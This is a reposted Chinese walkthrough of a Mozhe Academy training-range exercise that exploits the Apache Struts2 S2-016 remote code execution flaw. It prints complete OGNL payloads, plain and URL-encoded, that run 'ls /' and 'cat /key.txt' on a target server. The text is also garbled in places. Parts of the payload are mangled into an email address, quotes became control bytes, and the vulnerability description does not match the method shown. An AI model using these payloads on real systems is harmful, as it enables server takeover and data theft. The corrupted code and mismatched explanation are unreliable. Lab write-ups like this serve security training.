欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

程序员文章站 2022-07-16 12:49:42
...

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)

 

 漏洞简介:

Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行


 

第一步:点击访问靶场链接

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

 第二步:测试是否存在漏洞

输入/3.jsp

发现表达式被执行,证明存在漏洞

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

 第三步:构造POC,执行ls/查看文件

${#_memberAccess[“allowStaticMethodAccess”]=true,#aaa@qq.com@getRuntime().exec(‘ls /’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#aaa@qq.com@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

 使用BurpSuite进行url编码

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

 得到:

%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%1c%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%1d%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%18%6c%73%20%2f%19%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d

 

 第四步:复制编码后的数据,黏贴到“219.153.49.228:41180/?a=”的后面,访问

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

 发现key.txt文件

 第五步:执行cat /key.txt查看文本内容

POC:

${#_memberAccess[“allowStaticMethodAccess”]=true,#aaa@qq.com@getRuntime().exec(‘cat /key.txt’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#aaa@qq.com@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

 进行URL编码:

%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%6b%65%79%2e%74%78%74%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d

 

 第六步:把编码放在“219.153.49.228:41180/?a=”后,访问得到key

 【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

 


(如有不足或者涉权的地方,请尽快联系我,我会及时修改或删除,非常感谢)

感谢一路走来的老师和一起奋斗的伙伴们,既然开始了,就不能说放弃,让我们一起加油,做最好的我们!